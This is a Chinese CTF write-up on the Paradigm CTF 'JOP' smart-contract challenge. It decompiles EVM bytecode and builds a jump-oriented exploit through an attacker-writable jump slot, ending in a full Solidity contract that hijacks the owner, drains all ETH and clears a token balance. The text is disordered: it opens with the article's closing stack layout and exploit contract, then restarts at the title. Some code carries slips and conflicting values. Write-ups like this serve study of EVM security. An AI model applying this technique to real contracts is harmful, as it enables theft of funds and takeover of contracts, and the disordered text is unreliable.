0 0000000000000000000000000000000000000000000000000000000000000000//var6 = y = 0 000000000000000000000000DA0bab807633f07f013f94DD0E6A4F96F8742B53//var7 = akey=address(setup) 0000000000000000000000000000000000000000000000000000000000000000//var6 = x = 0 0000000000000000000000000000000000000000000000000000000000000C4A//var7 = jumpBack 0000000000000000000000000000000000000000000000000000000000000000//var6 = exit 0000000000000000000000000000000000000000000000000000000000000C4A//var7 = UNKNOW ``` ### 执行完毕 我们的堆栈在这里已经满足了所有的三个条件,现在需要执行完毕,退出。 ```assembly label_0366: // Incoming return from call to 0x0350 at 0x034B 0366 5B JUMPDEST 0367 00 *STOP ``` 故我们的堆栈最后为: ```assembly 000000000000000000000000deaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD//var6 = deadbeaf 000000000000000000000000000000000000000000000000000000000000191B//var7 = jumpback 000000000000000000000000000000000000000000000002b5e3af16b1880004//var6 = balance 0000000000000000000000000000000000000000000000000000000000000000//var7 = addr任意 0000000000000000000000000000000000000000000000000000000000000000//var6 = back1 0000000000000000000000000000000000000000000000000000000000000000//var7 = back2 0000000000000000000000000000000000000000000000000000000000000001//var6 = back3 0000000000000000000000000000000000000000000000000000000000000000//var7 = back4 0000000000000000000000000000000000000000000000000000000000000000//var6 = back5 0000000000000000000000000000000000000000000000000000000000000000//var7 = back6 0000000000000000000000000000000000000000000000000000000000001563//var6 = back7:下一个位点 0000000000000000000000000000000000000000000000000000000000000000//var7 = value = 0 0000000000000000000000000000000000000000000000000000000000000000//var6 = y = 0 000000000000000000000000DA0bab807633f07f013f94DD0E6A4F96F8742B53//var7 = akey=address(setup) 0000000000000000000000000000000000000000000000000000000000000000//var6 = x = 0 0000000000000000000000000000000000000000000000000000000000000C4A//var7 = jumpBack 0000000000000000000000000000000000000000000000000000000000000366//var6 = exit 0000000000000000000000000000000000000000000000000000000000000000//var7 = Not Use ``` ## 合约整理 在上面的分析中,我们已经知道了破解所需要的步骤,现在将其整理出来: ```js pragm solidity ^0.7.0; import "./Setup.sol"; contract Exploit { Setup public setup; ChallengeInterface public challenge; bytes32[] public payload; constructor(address _setup) public payable{ setup = Setup(_setup); challenge = setup.challenge(); } function preHack() public { (bool success, ) = challenge.call(abi.encodeWithSelector(0x27f83350,0x19FC)); require(success,"Exploit/prehack failed"); } function wrapIntoStack(bytes32 a, bytes32 b) internal { uint len = payload.length / 4; payload.push( hex'00000000000000000000000000000000000000000000000000000000000019FC'); uint offset = 4 + 32*4*len; payload.push(bytes32(offset)); payload.push(a); payload.push(b); } function hack() public { preHack(); payload.push(bytes32(uint(4))); bytes32 task1_deadbeaf = hex'000000000000000000000000deaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD'; bytes32 task1_jumpback = hex'000000000000000000000000000000000000000000000000000000000000191B'; wrapIntoStack(task1_deadbeaf, task1_jumpback); bytes32 task2_balance = hex'000000000000000000000000000000000000000000000002b5e3af16b1880004'; bytes32 task2_addr = bytes32(uint256(uint160(address(msg.sender)))); wrapIntoStack(task2_balance, task2_addr); bytes32 task3_back1 = hex'0000000000000000000000000000000000000000000000000000000000000000'; bytes32 task3_back2 = hex'0000000000000000000000000000000000000000000000000000000000000000'; bytes32 task3_back3 = hex'0000000000000000000000000000000000000000000000000000000000000001'; bytes32 task3_back4 = hex'0000000000000000000000000000000000000000000000000000000000000000'; bytes32 task3_back5 = hex'0000000000000000000000000000000000000000000000000000000000000000'; bytes32 task3_back6 = hex'0000000000000000000000000000000000000000000000000000000000000000'; wrapIntoStack(task3_back1, task3_back2); wrapIntoStack(task3_back3, task3_back4); wrapIntoStack(task3_back5, task3_back6); bytes32 task4_back7 = hex'0000000000000000000000000000000000000000000000000000000000001563'; bytes32 task4_value = hex'0000000000000000000000000000000000000000000000000000000000000000'; wrapIntoStack(task4_back7, task4_value); bytes32 task4_y = hex'0000000000000000000000000000000000000000000000000000000000001563'; bytes32 task4_setup_addr = bytes32(uint256(uint160(address(setup))));; wrapIntoStack(task4_y, task4_setup_addr); bytes32 task4_x = hex'0000000000000000000000000000000000000000000000000000000000000000'; bytes32 task4_jumpBack = hex'0000000000000000000000000000000000000000000000000000000000000C4A'; wrapIntoStack(task4_x, task4_jumpBack); bytes32 task5_exit = hex'0000000000000000000000000000000000000000000000000000000000000366'; bytes32 task5_Unused = hex'0000000000000000000000000000000000000000000000000000000000000000'; wrapIntoStack(task5_exit, task5_Unused); (bool success, ) = challenge.call{value:0x04}(abi.encodeWithSignature("buyTokens()",payload)); console.log(payload); require(success, "Exploit/hack failed"); } } ``` ![pp.png](https://img.learnblockchain.cn/attachments/2021/08/X1Y5n4RS61193773dfcc4.png)

Paradigm CTF - JOP

本题的核心思想跟之前做过的一道题目:Consensys CTF-02 栈溢出重定向利用的核心思想一致,即找到合约中的一个入口函数,通过该函数可以手动的构造一个栈。在手动构造的栈中,按照函数调用的顺序,将所需要的参数依次放入手动构造的栈里,然后依次调用所需的函数。最后找到一个出口,一般是一个jump Destination,结束调用。

本文参考链接如下:https://www.youtube.com/embed/OYs-2Vqvdow

合约分析

首先分析下Setup合约中,要解决本题的要求是什么:

function isSolved() public view returns (bool) {
    return  challenge.owner() == 0xdeaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD &&
            challenge.balanceOf(address(this)) == 0 &&
            address(challenge).balance == 0;
}

简单来看,需要让合约同时满足三个条件:1. 改变合约的owner为给定值,2. 清空合约的所有ETH,3. 清空合约中关于setup的状态。

由于challenge合约是不开源的,只提供了二进制代码,故为方便调试,我们首先需要部署一个challenge合约:

pragma solidity ^0.7.0;

import "./Setup.sol";

contract Hack {
    ChallengeInterface public challenge;

    constructor() public payable {
        require(msg.value == 50 ether);
        address addr;
        bytes memory data = hex'0x6080...6170';
        assembly{
            addr := create(0,add(data,0x20),mload(data))
        }
        require(addr != address(0), "Hack/constructor failed to create contract");
        challenge = ChallengeInterface(addr);
        challenge.buyTokens{value: msg.value}();
    }
}

步骤一:找到入口函数

将编译后的二进制代码通过网站Online Solidity Decompiler (ethervm.io)反编译得到OPCODE代码,浏览反编译得到的代码: 在buyTokens方法中,有一个非常有趣的注解:==Error: Could not resolve jump destination!== 这通常是由于Jump的地址不是预先写好在代码中,而是动态计算得到的。

else if (var0 == 0xd0febe4c) {
            // Dispatch table entry for buyTokens()
            var1 = 0x0774;
            var2 = 0x0ed0;

            if (msg.sender == storage[0x05] / 0x0100 ** 0x01 & 0xffffffffffffffffffffffffffffffffffffffff) {
            label_1CB2:

                if (tx.gasprice &lt; 0x2e90edd000) {
                    var3 = 0x1d39;
                    var4 = msg.value;
                    // Error: Could not resolve jump destination!
                }
=>
function buyTokens() public payable{
    address owner;
    assembly{
        owner := sload(0x05)
    }
    require(owner == msg.sender);
    uint gasPrice_;
    assembly{
        gasPrice_ := gasprice()
    }
    if (gasPrice_ &lt; 0x2e90edd000) {
        bytes4 nextFunc;
        assembly{
            nextFunc := and(0xffffffff,and(0xffffffffffffffff,sload(0x0b)))
            //跳转时,nextFunc函数的参数为msg.value, 返回位点为0x1d39
            jump(nextFunc)
        }
    }
}

下面我们再进一步跳转到label_1CB2函数中,看下它具体的执行逻辑:可以看到label_1D0F的跳转地址是存储在0x0b的storage中。如果我们能够向0x0b的插槽写值,则我们可以控制它跳转到任何我们想要去的地方。

label_1CB2:
    1CB2    5B  JUMPDEST
    1CB3    64  PUSH5 0x2e90edd000
    1CB9    3A  GASPRICE
    1CBA    10  LT
    1CBB    61  PUSH2 0x1d0f
    1CBE    57  *JUMPI
label_1D0F:
    // Incoming jump from 0x1CBE, if tx.gasprice &lt; 0x2e90edd000
    // Inputs[2]
    // {
    //     @1D13  msg.value
    //     @1D19  storage[0x0b]
    // }
    1D0F    5B  JUMPDEST    
    1D10    61  PUSH2 0x1d39 0x1d39
    1D13    34  CALLVALUE    0x1d39 value
    1D14    60  PUSH1 0x0b   0x1d39 value 0x0b
    1D16    60  PUSH1 0x00   0x1d39 value 0x0b 0x00
    1D18    90  SWAP1        0x1d39 value 0x00 0x0b
    1D19    54  SLOAD        0x1d39 value 0x00 s[0x0b]
    1D1A    90  SWAP1        0x1d39 value s[0x0b] 0x00 
    1D1B    61  PUSH2 0x0100  0x1d39 value s[0x0b] 0x00 0x0100
    1D1E    0A  EXP          0x1d39 value s[0x0b] 1
    1D1F    90  SWAP1        0x1d39 value 1 s[0x0b]
    1D20    04  DIV          0x1d39 value s[0x0b]
    1D21    80  DUP1         0x1d39 value s[0x0b] s[0x0b] 
    1D22    15  ISZERO       0x1d39 value s[0x0b] 0
    1D23    61  PUSH2 0x1f51 0x1d39 value s[0x0b] 0 0x1f51
    1D26    02  MUL          0x1d39 value s[0x0b] 0
    1D27    17  OR           0x1d39 value s[0x0b]
    1D28    67  PUSH8 0xffffffffffffffff
                             0x1d39 value s[0x0b] 0xff..
    1D31    16  AND          0x1d39 value s[0x0b][:8]
    1D32    63  PUSH4 0xffffffff value s[0x0b] 0x1d39 value s[0x0b] 0xff..
    1D37    16  AND          0x1d39 value s[0x0b][:4]
    1D38    56  *JUMP        0x1d39 value 

function 1D0F() internal payable {
    bytes4 nextFunc;
    assembly{
        nextFunc := and(0xffffffff,and(0xffffffffffffffff,sload(0x0b)))
        //跳转时,nextFunc函数的参数为msg.value, 返回位点为0x1d39
        jump(nextFunc)
    }
}

接下来,我们需要找到能够写入storage[0x0b]的方法,我们发现方法func_0350可以写入storage[0x0b],但它是一个internal方法,无法被我们调用。于是我们再找到对应的external方法:0x27f83350

function func_0350(var arg0, var arg1) {
    arg0 = msg.data[arg0:arg0 + 0x20];
    storage[0x0b] = arg0;
}
=>
function func_0350(uint arg) internal{
    uint256 v = arg;
    assembly{
        sstore(0x0b, v)
    }
}

这样我们就找到了函数0x27f83350, 从函数中可以看到,0x27f83350是一个non-payable函数,接受ETH, 以及一个长度为0x20的参数,并将该参数写入storage[0x0b]中。

function 0x27f83350 public{
    var1 = msg.value;

    if (var1) { revert(memory[0x00:0x00]); }

    var1 = 0x0366;
    var2 = 0x04;
    var3 = msg.data.length - var2;

    if (var3 &lt; 0x20) { revert(memory[0x00:0x00]); }

    func_0350(var2, var3);
    stop();
}
=> 
function 0x27f83350(uint arg) public nonPayable{
    require(msg.value == 0);
    uint256 v = arg;
    assembly{
        sstore(0x0b, v)
    }
}

此时,我们可以通过0x27f83350函数设置0x0b插槽中的值,然后通过调用buyTokens函数进入,根据插槽0x0b的值从而跳转到任何我们想要跳转的位置

步骤二:构造堆栈

此时,关键是分析我们需要跳转到哪个位置来构造所需要的堆栈。

首先我们需要继续分析下1D0F()的跳转,从上面的分析可以看到,它跳转时会带一个参数msg.value过去到nextFunc中,然后nextFunc会跳转回0x1d39。此时需要关注一点,nextFunc的返回值在栈里如何排序?nextFunc的返回值必定在0x1d39下方,因为这样才可以Jump到0x1d39实现函数返回。

LABEL 1D39:
    1D39    5B    JUMPDEST
    1D3A    56    *JUMP

简单来讲,当函数跳转到1D39后,又会马上按照此时的栈首位进行跳转。故nextFunc函数必须要有返回值,且函数参数只能有一个,即msg.value.

此时我们查看反编译的代码发现, 如下6个函数都满足。但此时我们需要进一步思考,nextFunc的返回值肯定是越多越好,故我们首先查看func_19FC

saleHardcap(arg0) returns (r0)
sellRate(arg0) returns (r0)
nextOwner(arg0) returns (r0)
owner(arg0) returns (r0)
saleCount(arg0) returns (r0)
func_19FC(arg0) returns (r0, r1, r2, r3)
function func_19FC(var arg0) returns (var r0, var arg0, var r2, var r3) {
    r2 = 0x00;
    r3 = r2;
    var var2 = 0x00;
    var var3 = var2;
    var temp0 = arg0;
    var var4 = msg.data[temp0:temp0 + 0x20];
    var var5 = msg.data[temp0 + 0x20:temp0 + 0x20 + 0x20];
    var var6 = msg.data[temp0 + 0x40:temp0 + 0x40 + 0x20];
    var var7 = msg.data[temp0 + 0x60:temp0 + 0x60 + 0x20];

    if (var5 &lt;= 0x00 &lt;&lt; 0x00) {
        var temp11 = memory[0x40:0x60];
        memory[temp11:temp11 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000;
        var temp12 = temp11 + 0x04;
        var temp13 = temp12 + 0x20;
        memory[temp12:temp12 + 0x20] = temp13 - temp12;
        memory[temp13:temp13 + 0x20] = 0x12;
        var temp14 = temp13 + 0x20;
        memory[temp14:temp14 + 0x20] = 0x736967436865636b2f722d69732d7a65726f0000000000000000000000000000;
        var temp15 = memory[0x40:0x60];
        revert(memory[temp15:temp15 + (temp14 + 0x20) - temp15]);
    } else if (var6 &lt;= 0x00 &lt;&lt; 0x00) {
        var temp6 = memory[0x40:0x60];
        memory[temp6:temp6 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000;
        var temp7 = temp6 + 0x04;
        var temp8 = temp7 + 0x20;
        memory[temp7:temp7 + 0x20] = temp8 - temp7;
        memory[temp8:temp8 + 0x20] = 0x12;
        var temp9 = temp8 + 0x20;
        memory[temp9:temp9 + 0x20] = 0x736967436865636b2f732d69732d7a65726f0000000000000000000000000000;
        var temp10 = memory[0x40:0x60];
        revert(memory[temp10:temp10 + (temp9 + 0x20) - temp10]);
    } else if (var6 > 0x7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0 &lt;&lt; 0x00) {
        var temp1 = memory[0x40:0x60];
        memory[temp1:temp1 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000;
        var temp2 = temp1 + 0x04;
        var temp3 = temp2 + 0x20;
        memory[temp2:temp2 + 0x20] = temp3 - temp2;
        memory[temp3:temp3 + 0x20] = 0x12;
        var temp4 = temp3 + 0x20;
        memory[temp4:temp4 + 0x20] = 0x736967436865636b2f6d616c6c6561626c650000000000000000000000000000;
        var temp5 = memory[0x40:0x60];
        revert(memory[temp5:temp5 + (temp4 + 0x20) - temp5]);
    } else if (var7 >= 0x1b) {
        r3 = var7;
        arg0 = var5;
        r2 = var6;
        r0 = var4;
        return r0, arg0, r2, r3;
    } else {
        r3 = var7 + 0x1b;
        arg0 = var5;
        r2 = var6;
            r0 = var4;
            return r0, arg0, r2, r3;
        }
}
=>
function func_19fc(uint arg) internal returns(uint,uint,uint,uint) {
    uint offset = arg;
    uint var4;
    uint var5;
    uint var6;
    uint var7;
    assembly{
        var4 := calldataload(offset)
        var5 := calldataload(add(offset, 0x20))
        var6 := calldataload(add(offset, 0x40))
        var7 := calldataload(add(offset, 0x60))
    }
    if (var5 &lt;= 0x00) {
        assembly{
            let temp11 := mload(0x40)
            mstore(temp11,
                  0x08c379a000000000000000000000000000000000000000000000000000000000)
            let temp12 := add(temp11, 0x04)
            mstore(temp12, 0x20)
            mstore(add(temp12,0x20),0x12)
            mstore(add(temp12,0x40),
                  0x736967436865636b2f722d69732d7a65726f0000000000000000000000000000)
            revert(temp11,0x64)
            //0x08c379a0
            //0000000000000000000000000000000000000000000000000000000000100000
            //0000000000000000000000000000000000000000000000000000000000010010
            //736967436865636b2f722d69732d7a65726f0000000000000000000000000000
        }
    } else if (var6 &lt;= 0x00) {
        与var5 &lt;= 0一致
    } else if(var6 > 0x7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0){
        与var5 &lt;= 0一致
    } else if (var7 >= 0x1b) {
        return var4, offset, var6, var7;
    } else {
        return var4, var5, var6, var7+0x1b;
    }
}

从上面的func_19FC函数我们分析得知:它会消耗一个参数,将这个参数用作calldata的offset量,然后从calldadta中拷贝4个uint32的值到栈空间中。当func_19FC函数调用返回时,LABEL 1D39会继续Jump,此时Jump的地址即为返回的第一个值。

由于我们的目标是构造一个栈,故我们可以反复调用func_19FC,让其返回的第一个值就是func_19FC的方法位点,返回的第二个值是func_19FC的方法参数。这样==每调用一次func_19FC我们就向栈里写入了两个值==,==且该值均来自于calldata==。这正是我们想要的。

即此时的calldata应该为:

0x00 d0febe4c //buyToken()
0x04 0000000000000000000000000000000000000000000000000000000000000004//offset
0x24 00000000000000000000000000000000000000000000000000000000000019FC//var4 = label_19FC
0x44 0000000000000000000000000000000000000000000000000000000000000084//var5 = next_offset
0x64 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff//var6 = payload1
0x84 000000000000000000000000000000000000000000000000000000000000001a//var7 = payload2

步骤三:堆栈设计

从上面的分析中,我们已经有能力去构造一个堆栈,但是堆栈中的内容应该如何去设计呢?

还是从Setup中的解题条件开始:

条件1:改变合约的owner为给定值

首先是查看:nextOwner()函数发现该函数实际返回的是Storage[0x06]的值,故需要去OPCODE中找到给Storage[0x06]写值的函数:label_102A

label_102A:
    102A    5B  JUMPDEST        jumpback deadbeaf
    102B    80  DUP1            jumpback deadbeaf deadbeaf
    102C    60  PUSH1 0x06      jumpback deadbeaf deadbeaf 0x06
    102E    60  PUSH1 0x00      jumpback deadbeaf deadbeaf 0x06 0x00
    1030    61  PUSH2 0x0100    jumpback deadbeaf deadbeaf 0x06 0x00 0x0100
    1033    0A  EXP             jumpback deadbeaf deadbeaf 0x06 0x01
    1034    81  DUP2            jumpback deadbeaf deadbeaf 0x06 0x01 0x06
    1035    54  SLOAD           jumpback deadbeaf deadbeaf 0x06 0x01 s[06]
    1036    81  DUP2            jumpback deadbeaf deadbeaf 0x06 0x01 s[06] 0x01
    1037    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
                                jumpback deadbeaf deadbeaf 0x06 0x01 s[06] 0x01 0xff
    104C    02  MUL             jumpback deadbeaf deadbeaf 0x06 0x01 s[06] 0xff
    104D    19  NOT             jumpback deadbeaf deadbeaf 0x06 0x01 s[06] 0x11..00
    104E    16  AND             jumpback deadbeaf deadbeaf 0x06 0x01 0
    104F    90  SWAP1           jumpback deadbeaf deadbeaf 0x06 0 0x01
    1050    83  DUP4            jumpback deadbeaf deadbeaf 0x06 0 0x01 deadbeaf
    1051    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
                                jumpback deadbeaf deadbeaf 0x06 0 0x01 deadbeaf 0xff
    1066    16  AND             jumpback deadbeaf deadbeaf 0x06 0 0x01 deadbeaf
    1067    02  MUL             jumpback deadbeaf deadbeaf 0x06 0 deadbeaf
    1068    17  OR              jumpback deadbeaf deadbeaf 0x06 deadbeaf
    1069    90  SWAP1           jumpback deadbeaf deadbeaf deadbeaf 0x06
    106A    55  SSTORE          jumpback deadbeaf deadbeaf
    106B    50  POP             jumpback deadbeaf
    106C    50  POP             jumpback
    106D    56  *JUMP
=>
function label_102A(address deadbeaf, uint jumpback) internal {
    address deadbeaf_ = deadbeaf;
    uint jumpback_ = jumpback;
    assembly{
        let newOwner := and(0xffffffffffffffffffffffffffffffffffffffff, deadbeaf_)
        sstore(0x06, deadbeaf)
        jump(jumpback)
    }
}

故此时的calldata应该为:

0x00 d0febe4c //buyToken()
0x04 0000000000000000000000000000000000000000000000000000000000000004//offset
0x24 00000000000000000000000000000000000000000000000000000000000019FC//var4 = label_19FC
0x44 00000000000000000000000000000000000000000000000000000000000000a4//var5 = next_offset
0x64 000000000000000000000000deaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD//var6 = deadbeaf
0x84 000000000000000000000000000000000000000000000000000000000000191B//var7 = jumpback

这里我们需要找到对应的jumpback的值, 这里的值应该是191B

条件2. 清空合约的所有ETH

要清空所有的ETH则必须要有CALL这一个OPCODE,通过查找全文中的call OPCODE,我们发现label_191B中存在这一个特征值。

label_191B:
    191B    5B  JUMPDEST    address balance
    191C    60  PUSH1 0x00  address balance 0x00
    191E    82  DUP3        address balance 0x00 address 
    191F    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
                            address balance 0x00 address 0xff
    1934    16  AND         address balance 0x00 address
    1935    82  DUP3        address balance 0x00 address balance
    1936    60  PUSH1 0x40  address balance 0x00 address balance 0x40
    1938    51  MLOAD       address balance 0x00 address balance M[40]
    1939    80  DUP1        address balance 0x00 address balance M[40] M[40]
    193A    60  PUSH1 0x00  address balance 0x00 address balance M[40] M[40] 0x00
    193C    01  ADD         address balance 0x00 address balance M[40] M[40]
    193D    90  SWAP1       address balance 0x00 address balance M[40] M[40]
    193E    50  POP         address balance 0x00 address balance M[40]
    193F    60  PUSH1 0x00  address balance 0x00 address balance M[40] 0x00
    1941    60  PUSH1 0x40  address balance 0x00 address balance M[40] 0x00 0x40
    1943    51  MLOAD       address balance 0x00 address balance M[40] 0x00 M[40]
    1944    80  DUP1        address balance 0x00 address balance M[40] 0x00 M[40] M[40]
    1945    83  DUP4        address balance 0x00 address balance M[40] 0x00 M[40] M[40] M[40]
    1946    03  SUB         address balance 0x00 address balance M[40] 0x00 M[40] 0
    1947    81  DUP2        address balance 0x00 address balance M[40] 0x00 M[40] 0 M[40]
    1948    85  DUP6        address balance 0x00 address balance M[40] 0x00 M[40] 0 M[40] balance
    1949    87  DUP8        address balance 0x00 address balance M[40] 0x00 M[40] 0 M[40] balance address
    194A    5A  GAS         address balance 0x00 address balance M[40] 0x00 M[40] 0 M[40] balance address gas
    194B    F1  CALL        address balance 0x00 address balance M[40] 0x01
    194C    92  SWAP3       address balance 0x00 0x01 balance M[40] address
    194D    50  POP         address balance 0x00 0x01 balance M[40]
    194E    50  POP         address balance 0x00 0x01 balance
    194F    50  POP         address balance 0x00 0x01
    1950    3D  RETURNDATASIZE  address balance 0x00 0x01 rsize
    1951    80  DUP1        address balance 0x00 0x01 rsize rsize
    1952    60  PUSH1 0x00  address balance 0x00 0x01 rsize rsize 0x00
    1954    81  DUP2        address balance 0x00 0x01 rsize rsize 0x00 rsize
    1955    14  EQ          address balance 0x00 0x01 rsize rsize 0x01
    1956    61  PUSH2 0x197b address balance 0x00 0x01 rsize rsize 0x01 0x197b
    1959    57  *JUMPI      address balance 0x00 0x01 rsize rsize
=>
function label_191B(address _addr, uint balance) internal {
    (bool success, ) = address(this).call{value:balance,to:_addr}("");
    uint returndatasize_;
    assembly{
        returndatasize_ := returndatasize()
        if eq(returndatasize_,0x00) {
            jump(0x197b)
        }
    }
}

从上述分析可以知道,当跳转到label_191B时,实际上调用了address(this).call{value:ether,to:addr}("")方法,即将该合约地址上的所有ETH全部转移给了某一个addr地址。

此时的内存应为:

000000000000000000000000deaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD//var6 = deadbeaf
000000000000000000000000000000000000000000000000000000000000191B//var7 = jumpback
000000000000000000000000000000000000000000000002b5e3af16b1880004//var6 = balance
0000000000000000000000000000000000000000000000000000000000000000//var7 = addr任意

则此时的calldata应该为:

0x00 d0febe4c //buyToken()
0x04 0000000000000000000000000000000000000000000000000000000000000004//offset
0x24 00000000000000000000000000000000000000000000000000000000000019FC//var4 = label_19FC
0x44 00000000000000000000000000000000000000000000000000000000000000a4//var5 = next_offset
0x64 000000000000000000000000deaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD//var6 = deadbeaf
0x84 000000000000000000000000000000000000000000000000000000000000191B//var7 = jumpback
0xa4 00000000000000000000000000000000000000000000000000000000000019FC//var4 = label_19FC
0xc4 0000000000000000000000000000000000000000000000000000000000000124//var5 = next_offset
0xe4 000000000000000000000000000000000000000000000002b5e3af16b1880004//var6 = balance = 50ether+4wei
0x104 0000000000000000000000000000000000000000000000000000000000000000//var7 = addr任意

注意到这里跳转到了一个固定的位点0x197b,我们需要进入该位点查看下:

label_197B:
    197B    5B  JUMPDEST    back7 back6 back5 back4 back3 back2 back1 
    197C    60  PUSH1 0x60  back7 back6 back5 back4 back3 back2 back1 0x60
    197E    91  SWAP2       back7 back6 back5 back4 back3 0x60 back1 back2
    197F    50  POP         back7 back6 back5 back4 back3 0x60 back1
    1980    5B  JUMPDEST    
    1981    50  POP         back7 back6 back5 back4 back3 0x60
    1982    50  POP         back7 back6 back5 back4 back3
    1983    90  SWAP1       back7 back6 back5 back3 back4
    1984    50  POP         back7 back6 back5 back3 
    1985    80  DUP1        back7 back6 back5 back3 back3
    1986    61  PUSH2 0x19f7 back7 back6 back5 back3 back3 0x19f7
    1989    57  *JUMPI
label_19F7:
    19F7    5B  JUMPDEST    back7 back6 back5 back3
    19F8    50  POP         back7 back6 back5
    19F9    50  POP         back7 back6
    19FA    50  POP         back7
    19FB    56  *JUMP

在这个位点中,pop了多个内存中的字段,所以我们需要按照要求将内存设计成满足它pop的结构,则此时的内存为:

000000000000000000000000deaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD//var6 = deadbeaf
000000000000000000000000000000000000000000000000000000000000191B//var7 = jumpback
000000000000000000000000000000000000000000000002b5e3af16b1880004//var6 = balance
0000000000000000000000000000000000000000000000000000000000000000//var7 = addr任意
0000000000000000000000000000000000000000000000000000000000000000//var6 = back1
0000000000000000000000000000000000000000000000000000000000000000//var7 = back2
0000000000000000000000000000000000000000000000000000000000000001//var6 = back3
0000000000000000000000000000000000000000000000000000000000000000//var7 = back4
0000000000000000000000000000000000000000000000000000000000000000//var6 = back5
0000000000000000000000000000000000000000000000000000000000000000//var7 = back6
0000000000000000000000000000000000000000000000000000000000001263//var6 = back7:下一个位点
0000000000000000000000000000000000000000000000000000000000000000//var7 = UNKNOW

条件3. 清空合约中关于setup的状态

因为是balance[address(setup)]的状态要清空,所以需要考虑到solidity中对于map的存储。简单来讲,合约中存储map会首先将该key的值与map对应的插槽点的值进行连接,成为一个64byte的值,然后调用keccak256取得哈希值,该哈希值即为该map中值所对应的插槽。故,需要清空balance[address(setup)]我们只需要在整个OPCODE中搜索SHA3即可。注意不要写道allowance[owner][spender]里面去了。

label_1563:
    1563    5B  JUMPDEST        jumpBack x key y value
    1564    60  PUSH1 0x00      jumpBack x key y value 0x00
    1566    80  DUP1            jumpBack x key y value 0x00 0x00
    1567    84  DUP5            jumpBack x key y value 0x00 0x00 key
    1568    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
                                jumpBack x key y value 0x00 0x00 key 0xff
    157D    16  AND             jumpBack x key y value 0x00 0x00 key
    157E    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
                                jumpBack x key y value 0x00 0x00 key 0xff
    1593    16  AND             jumpBack x key y value 0x00 0x00 key
    1594    81  DUP2            jumpBack x key y value 0x00 0x00 key 0x00
    1595    52  MSTORE          jumpBack x key y value 0x00 0x00
    1596    60  PUSH1 0x20      jumpBack x key y value 0x00 0x00 0x20
    1598    01  ADD             jumpBack x key y value 0x00 0x20
    1599    90  SWAP1           jumpBack x key y value 0x20 0x00 
    159A    81  DUP2            jumpBack x key y value 0x20 0x00 0x20
    159B    52  MSTORE          jumpBack x key y value 0x20
    159C    60  PUSH1 0x20      jumpBack x key y value 0x20 0x20
    159E    01  ADD             jumpBack x key y value 0x40
    159F    60  PUSH1 0x00      jumpBack x key y value 0x40 0x00
    15A1    20  SHA3            jumpBack x key y value hash
    15A2    81  DUP2            jumpBack x key y value hash value
    15A3    90  SWAP1           jumpBack x key y value value hash
    15A4    55  SSTORE          jumpBack x key y value
    15A5    50  POP             jumpBack x key y
    15A6    81  DUP2            jumpBack x key y key
    15A7    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
                                jumpBack x key y key 0xff
    15BC    16  AND             jumpBack x key y key
    15BD    83  DUP4            jumpBack x key y key x
    15BE    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
                                jumpBack x key y key x 0xff
    15D3    16  AND             jumpBack x key y key x
    15D4    7F  PUSH32 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
                                jumpBack x key y key x 0xddf
    15F5    83  DUP4            jumpBack x key y key x 0xddf y
    15F6    60  PUSH1 0x40      jumpBack x key y key x 0xddf y 0x40
    15F8    51  MLOAD           jumpBack x key y key x 0xddf y M[40]
    15F9    80  DUP1            jumpBack x key y key x 0xddf y M[40] M[40]
    15FA    82  DUP3            jumpBack x key y key x 0xddf y M[40] M[40] y
    15FB    81  DUP2            jumpBack x key y key x 0xddf y M[40] M[40] y M[40]
    15FC    52  MSTORE          jumpBack x key y key x 0xddf y M[40] M[40]
    15FD    60  PUSH1 0x20      jumpBack x key y key x 0xddf y M[40] M[40] 0x20
    15FF    01  ADD             jumpBack x key y key x 0xddf y M[40] M[40]+0x20
    1600    91  SWAP2           jumpBack x key y key x 0xddf M[40]+0x20 M[40] y
    1601    50  POP             jumpBack x key y key x 0xddf M[40]+0x20 M[40]
    1602    50  POP             jumpBack x key y key x 0xddf M[40]+0x20
    1603    60  PUSH1 0x40      jumpBack x key y key x 0xddf M[40]+0x20 0x40
    1605    51  MLOAD           jumpBack x key y key x 0xddf M[40]+0x20 M[40]
    1606    80  DUP1            jumpBack x key y key x 0xddf M[40]+0x20 M[40] M[40]
    1607    91  SWAP2           jumpBack x key y key x 0xddf M[40] M[40] M[40]+0x20
    1608    03  SUB             jumpBack x key y key x 0xddf M[40] 0x20
    1609    90  SWAP1           jumpBack x key y key x 0xddf 0x20 M[40]
    160A    A3  LOG3            jumpBack x key y
    160B    50  POP             jumpBack x key
    160C    50  POP             jumpBack x
    160D    50  POP             jumpBack
    160E    56  *JUMP
    =>
    function label_1563(uint value,uint y, addr key, addr x, uint jumpBack) internal {
        balance[key] = value;
        uint k;
        assembly{
            mstore(mload(0x40),y)
            k := mload(0x40)
        }
        emit label_1563_event(k,0x20,0xddf,x,key)
        assembly{
            jump(jumpBack)
        }
    }

从上面的分析中,我们可以知道我们需要的栈应该是:

000000000000000000000000deaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD//var6 = deadbeaf
000000000000000000000000000000000000000000000000000000000000191B//var7 = jumpback
000000000000000000000000000000000000000000000002b5e3af16b1880004//var6 = balance
0000000000000000000000000000000000000000000000000000000000000000//var7 = addr任意
0000000000000000000000000000000000000000000000000000000000000000//var6 = back1
0000000000000000000000000000000000000000000000000000000000000000//var7 = back2
0000000000000000000000000000000000000000000000000000000000000001//var6 = back3
0000000000000000000000000000000000000000000000000000000000000000//var7 = back4
